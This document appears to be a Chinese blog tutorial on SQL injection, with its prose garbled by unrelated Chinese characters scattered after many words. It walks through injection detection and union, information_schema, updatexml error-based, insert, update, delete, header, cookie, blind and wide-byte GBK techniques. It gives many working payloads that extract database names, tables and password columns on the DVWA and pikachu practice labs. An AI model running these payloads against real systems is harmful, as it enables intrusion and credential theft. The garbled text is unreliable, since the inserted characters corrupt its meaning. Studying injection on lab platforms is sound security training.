??注入攻擊的原理:
? ? ? ?注射式攻擊的根源在于,程序命令和用戶數(shù)據(jù)(即用戶輸入)之間沒有做到?jīng)芪挤置鞔怯选_@使得攻擊者有機會將程序命令當(dāng)作用戶輸入的數(shù)據(jù)提交給Web程序,以發(fā)號施令震肮,為所欲為(注:注入最終是數(shù)據(jù)庫称龙,與腳本、平臺無關(guān))钙蒙。
總之一句話:注入產(chǎn)生的原因是接受相關(guān)參數(shù)未經(jīng)處理直接帶入數(shù)據(jù)庫查詢操作茵瀑。
??注入前的準(zhǔn)備及注入漏洞檢測:
1间驮、顯示友好HTTP錯誤信息(現(xiàn)在瀏覽器不用管)
2躬厌、手工檢測SQL注入點
??最常用的SQL注入點判斷方法,是在網(wǎng)站中尋找如下形式的網(wǎng)頁鏈接竞帽。
http://www.*****.com/***.asp?id=xx (ASP注入) (其他語言等同于這個鏈接)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的時候確認(rèn)是id參數(shù)還是page參數(shù)扛施,工具默認(rèn)只對后面page參數(shù)注入,所以要對工具進行配置或者手工調(diào)換)?
http://www.*****.com/index/new/id/8 偽靜態(tài)
http://www.?*****.com/index/new/php-8.html偽靜態(tài)
其中的“**”可能是數(shù)字屹篓,也有可能是字符串疙渣,分別被稱為整數(shù)類型數(shù)據(jù)和字符型數(shù)據(jù)。如何判斷某個網(wǎng)頁鏈接是否存在SQL注入漏洞呢?? ? ?通常有兩種檢測方法堆巧。
??1.? “單引號”法
? ? ? 第一種檢測SQL注入漏洞是否存在的方法是“單引號”法妄荔。方法很簡單,直接在瀏覽器地址欄中的網(wǎng)址鏈接后加上一個單引號谍肤,如果頁面不能正常顯示啦租,瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞荒揣。
??2.? ?1=1和1=2法
? ? ? ?很多時候檢測提交包含引號的鏈接時篷角,會提示非法字符,或者直接不返回任何信息系任,但這并不等于不存在SQL注入漏洞恳蹲。此時可使用經(jīng)典的“1=1和1=2”法進行檢測。方法很簡單俩滥,就是直接在鏈接地址后分別加上and 1=1和and 1=2進行提交嘉蕾,如果返回不同的頁面,那么說明存在SQL注入漏洞霜旧。
??注入分類
??1错忱、數(shù)字型注入:?or 1=1
? ? 當(dāng)輸入的參數(shù)為整型時,如ID、年齡航背、頁碼等喉悴,如果存在注入漏洞,則可以認(rèn)為是數(shù)字型注入玖媚。
正常的SQL語句:
select username,email from member where id=1;
輸入測試代碼后的SQL語句:
select username,email from member where id=1 or 1=1;
??2箕肃、字符型注入:' or 1=1#?
? ? ? ?當(dāng)輸入?yún)?shù)為字符串時,稱為字符型今魔。數(shù)字型與字符型注入最大的區(qū)別在于:數(shù)字型不需要單引號閉合勺像,而字符串類型一般要使用單引號來閉合。
輸入字符型測試代碼:
列如:? ?select id,email from member where username='vince' or 1=1#';
? ? ? ?我們在vince后面添加單引號來閉合vince错森,再在1=1后面添加注釋#來消除掉后面的單引號吟宦,這樣來完成一個SQL語句的拼接合法性。完整的語句為select id,email from member where username='vince‘ or 1=1#'涩维;
??3殃姓、搜索型注入:xxxx%'or 1=1 #
當(dāng)在搜索框搜索的時候,稱為搜索型瓦阐。
正常的SQL語句:
select * from member where username like '%vince%' or 1=1;
輸入搜索型測試代碼:
select * from member where username like '%xxxx%'or 1=1 #%'
??4蜗侈、XX型注入(一般用的少):XX') or 1=1#
XX型是由于SQL語句拼接方式不同,注入語句如下:
select * from member where username=('xx') or 1=1;
??注入提交的方式
ASP:request (全部接受)睡蟋、request.querystring (接受get)踏幻、request.form (接受post)、 request.cookie cookie (接受cookie)
PHP:$_REQUEST(全部接受)(最不安全)戳杀、$_GET $_POST (接受post)该面、$_COOKIE(接受cookie)
??1、get提交:
一般直接通過瀏覽器地址欄提交信卡,如下圖:
?? 2隔缀、post提交:
可通過安裝火狐瀏覽器插件(hackbar)或Burp工具來完成,如下圖:
?? 3坐求、cookie提交:
一般通Burp工具來完成蚕泽,如下圖:
??注入攻擊類型與方式:
? ? ? ?主要有:union注入、insert/update注入桥嗤、delete注入须妻、http header注入、盲注(base on boolian)泛领、盲注(base on time)荒吏、函數(shù)報錯、寬字節(jié)注入渊鞋、二次注入绰更、偏移注入等瞧挤。
?? 1、union注入:
? ? ? ?union操作符用于合并兩個或多個SQL語句集合起來儡湾,得到聯(lián)合的查詢結(jié)果特恬。下面以pikachu平臺的數(shù)據(jù)庫為例,輸入select id,email from member where username='kevin' union select username,pw from member where id=1;查詢結(jié)果如下:
注:union操作符一般與order by語句配合使用
下面以DVWA平臺的數(shù)據(jù)庫為例:? 先判斷出這里存在注入漏洞
再利用order by 排序判斷出主查詢字段 (因為查詢的字段不能超過主查詢的字段徐钠,這個時候可以在SQL語句后面加order by進行排序癌刽,通過這個辦法可以判斷主查詢的字段。)
輸入1' order by 3 #尝丐,反饋如圖:出現(xiàn)報錯显拜,說明字段數(shù)小于3
輸入1' order by 2 #,反饋如圖:說明主查詢字段一共2個爹袁。
之后我們來使用union來做一個SQL語句的拼接远荠。輸入構(gòu)造好的語句
1' union select database(),user()#? ? ? ? ? ? 反饋如圖
?? 2、information_schema注入:
? ? ? ? information_schema數(shù)據(jù)庫是MySQL系統(tǒng)自帶的數(shù)據(jù)庫失息。其中保存著關(guān)于MySQL服務(wù)器所維護的所有其他數(shù)據(jù)庫的信息譬淳。
? ? ? ? 通過information_schema注入,我們可以將整個數(shù)據(jù)庫內(nèi)容全部竊取出來, 使用order by來判斷查詢的字段根时。首先通過聯(lián)合查詢先找出數(shù)據(jù)庫的名稱瘦赫,輸入1' union select database(),user()#得到反饋,判斷數(shù)據(jù)庫名稱為dvwa蛤迎。
獲取dvwa數(shù)據(jù)庫的表名,輸入:? ?(有幾個字段 union select 后面接幾個查詢的內(nèi)容)
1' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#
獲取dvwa數(shù)據(jù)庫的字段名含友,輸入:
1' union select table_name,column_name from information_schema.columns?where?table_name='users'#
最后獲取字段值的內(nèi)容替裆,輸入:
1' union select user,password from users#
?? 3、基于函數(shù)報錯注入:
? ? ?在MYSQL中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的信息窘问,常見的select/insert/update/delete注入都可以使用報錯方式來獲取信息辆童。
??背景條件:
后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端.
(有的網(wǎng)站有注入點但不報錯,因為被屏蔽)
??基于報錯的信息獲然莺铡(三個常用的用來報錯的函數(shù))
updatexml():函數(shù)是MYSQL對XML文檔數(shù)據(jù)進行查詢和修改的XPATH函數(shù).??
extractvalue():函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進行查詢的XPATH函數(shù).??
floor():MYSQL中用來取整的函數(shù).
??基于報錯的信息獲取
UPDATEXML (XML_document, XPath_string, new_value);?
第一個參數(shù):XML_document是String格式把鉴,為XML文檔對象的名稱,文中為Doc儿咱。
第二個參數(shù):XPath_string (Xpath格式的字符串) 庭砍。
第三個參數(shù):new_value,String格式混埠,替換查找到的符合條件的數(shù)據(jù)怠缸。
??實戰(zhàn)測試(測注入點一般用and,注入一般用or)
1钳宪、爆數(shù)據(jù)庫版本信息(格式是固定的)
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)?#
2揭北、爆數(shù)據(jù)庫當(dāng)前用戶
k' and ?updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#??
3扳炬、爆數(shù)據(jù)庫
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)?#
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反饋回的錯誤表示只能顯示一行搔体,所以采用limit來一行一行顯示
k'?and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
更改limit后面的數(shù)字limit 0完成表名遍歷恨樟。
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6疚俱、爆字段內(nèi)容
k' and ?updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串厌杜。如有任何一個參數(shù)為NULL ,則返回值為 NULL计螺。
通過查詢@@version,返回版本夯尽。然后CONCAT將其字符串化。因為UPDATEXML第二個參數(shù)需要Xpath格式的字符串,所以不符合要求登馒,然后報錯匙握。
??insert、update 陈轿、delete 圈纺、Http Header 、Cookie 注入 (下面以pikachu為例)
? ? ? ?insert注入麦射,就是前端注冊的信息最終會被后臺通過insert這個操作插入數(shù)據(jù)庫蛾娶,后臺在接受前端的注冊數(shù)據(jù)時沒有做防SQL注入的處理,導(dǎo)致前端的輸入可以直接拼接SQL到后端的insert相關(guān)內(nèi)容中潜秋,導(dǎo)致了insert注入蛔琅。
進入網(wǎng)站注冊頁面,填寫網(wǎng)站注冊相關(guān)信息峻呛,通過Burp抓包在用戶名輸入相關(guān)payload罗售,格式如下:
oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
??1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
??2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
??3. 爆內(nèi)容
'?or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'?等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
??update注入
與insert注入的方法大體相同,區(qū)別在于update用于用戶登陸端钩述,insert用于用于用戶注冊端寨躁。
? ? ? ?一般登錄網(wǎng)站前臺或后臺更新用戶信息的地方,填寫用戶需要修改相關(guān)信息牙勘,通過Burp抓包在用戶 名輸入相關(guān)payload职恳,格式如下:
' or updatexml(0,concat(0x7e,(database())),0) or'
?? dalete注入
? ? ? ? 一般應(yīng)用于前后端發(fā)貼、留言方面、用戶等相關(guān)刪除操作放钦,點擊刪除按鈕時可通過Brup Suite抓包,對數(shù)據(jù)包相關(guān)delete參數(shù)進行注入葡幸,注入方法如下:
delete?from message where id=56?or?updatexml(2,concat(0x7e,(database())),0)
?? Http Header注入
? ? ? 先在pikachu平臺打開Http Header注入模塊最筒,點擊提示查看登錄帳號和密碼,登陸后去BurpSuite中找到登陸地GET請求蔚叨,把請求發(fā)送到Repeater模塊中床蜘,去除User-Agent:辙培,然后輸入' 然后運行后觀察MYSQL語法報錯然后發(fā)現(xiàn)存在SQL注入漏洞。這時候可以設(shè)置payload邢锯。
在User-Agent輸入:? payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
?? Cookie注入(只要cookie與數(shù)據(jù)庫交互互就有可能注入)
? ? ? Cookie是網(wǎng)站為了識別用戶身份來跟蹤會話的扬蕊,雖然Cookie是由后端生成的,但每次頁面跳轉(zhuǎn)丹擎,后端都回對前端的Cookie的信息進行驗證尾抑,但如果后端獲取Cookie后放在數(shù)據(jù)庫中進行拼接,那么這也將是一個SQL注入點蒂培。在ant[uname]=admin后添加一個’觀察反饋的MYSQL的語法報錯再愈,發(fā)現(xiàn)了存在SQL注入漏洞,在設(shè)置
Payload 'and updatexml (1,concat(0x7e,database()),0)#? ? ? 觀察報錯和之前是否相同护戳。
??4翎冲、Boolian(布爾型)盲注
? ? ? ?盲注,即在SQL注入過程中媳荒,SQL語句執(zhí)行選擇后抗悍,選擇的數(shù)據(jù)不能回顯到前端,我們需要使用一些特殊的方法進行判斷或嘗試钳枕,這個過程稱為盲注缴渊。
SQL盲注分為三大類:基于布爾型SQL盲注、基于時間型SQL盲注鱼炒、基于報錯型SQL盲注
??因為web的頁面返回值都是“True” 或者 “False”衔沼,也就是 “1” or “0”,所以布爾盲注就是注入后根據(jù)頁面返回值來得到數(shù)據(jù)庫信息的一種辦法田柔。
輸入語句select ascii(substr(database(),1,1))>xx;通過對比ascii碼的長度俐巴,判斷出數(shù)據(jù)庫表名的第一個字符。 當(dāng)修改payload??,1,1? ? ?為???,2,1? ?時爆出第二個字符
??注:substr()函數(shù)(substr:字符串截取)
substr(string,start,length)
string(必需)規(guī)定要返回其中一部分的字符串硬爆。start(必需)規(guī)定在字符串的何處開始。length(可選)規(guī)定被返回字符串的長度擎鸠。
那么通過這個方法缀磕,雖然只能通過判斷單個字符,我們同樣可以使用length來判斷表名的長度劣光,判斷出長度后就能多次輸入payload來爆破出每一個表名的字符袜蚕。
輸入語句:select length(database())<xx;判斷表名長度為7。
??5绢涡、base on time(時間型)盲注
可以通過后端的執(zhí)行時間來進行注入牲剃。這里會用到的payload:
?vince' and sleep(x)#
基于時間的延遲,構(gòu)造一個拼接語句:
vince' and if(substr(database(),1,1)='X'?(猜測點)',sleep(10),null#
輸入后雄可,如果猜測真確凿傅,那么就會響應(yīng)10秒缠犀,如果錯誤會立刻返回錯誤。輸入:
vince' and if(substr(database(),1,1)='p',sleep(10),null)#
再web控制臺下聪舒,判斷出database的表名的一個字符為p辨液。通過這個辦法我們就能逐步向下獲取數(shù)據(jù)。
??6箱残、寬字節(jié)注入(兩個條件:對方的網(wǎng)是gbk滔迈、注入時注入的單引號前加%df’)
? ? ? ?當(dāng)我們把php.ini文件里面的magic_quotes_gqc參數(shù)設(shè)為ON時,所有的'(單引號)被辑,"(雙引號)燎悍,\(反斜杠)和null字符都會被自動加上一個反斜杠進行轉(zhuǎn)義。還有很多函數(shù)有類似的作用如:addslashes()盼理、mysql_escape_string()谈山、mysql_real_escape_string()等,另外還有parse_str()后的變量也受magic_quotes_gpc的影響榜揖。目前大多數(shù)的主機都打開了這個選項,并且很多程序員也注意使用上面那些函數(shù)去過濾變量思劳,這看上去很安全妨猩,很多漏洞查找者或者工具遇到這些函數(shù)過濾后的變量直接就放棄潜叛,但是就在他們放棄的同時也放過很多致命的安全漏洞。
? ? ? ?其中\(zhòng)的URL編碼是 %5C 壶硅,當(dāng)我們在單引號前面加上%df的時候,最終就會變成運'庐椒,如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MYSQL用GBK的編碼時约谈,會認(rèn)為 %df 是一個寬字符笔宿,也就是運,也就是說:%df\’ = %df%5c%27=縗’棱诱,有了單引號就好注入了。
' =======>\'單引號轉(zhuǎn)義后占兩個字節(jié)炬灭,所以我們需要通過繁體字%df構(gòu)造兩個字節(jié),最終用運干掉了\靡菇,也就是說被運占領(lǐng)了\ 所以最后在頁面也不會顯示出來.
??小提示: 數(shù)字和字母占一個字節(jié)米愿,漢字占兩個字節(jié)提前。
??哪些地方?jīng)]有魔術(shù)引號的保護?
(1) $_SERVER 變量
??PHP5的$_SERVER變量缺少magic_quotes_gqc的保護狈网,導(dǎo)致近年來X-Forwarded-For的漏洞猛爆拓哺,所以很多程序員考慮過濾X-Forwarded-For,但是其它的變量呢士鸥?
(2)getenv()得到的變量(使用類似$_SERVER 變量)
(3)$HTTP_RAW_POST_DATA與PHP輸入烤礁、輸出流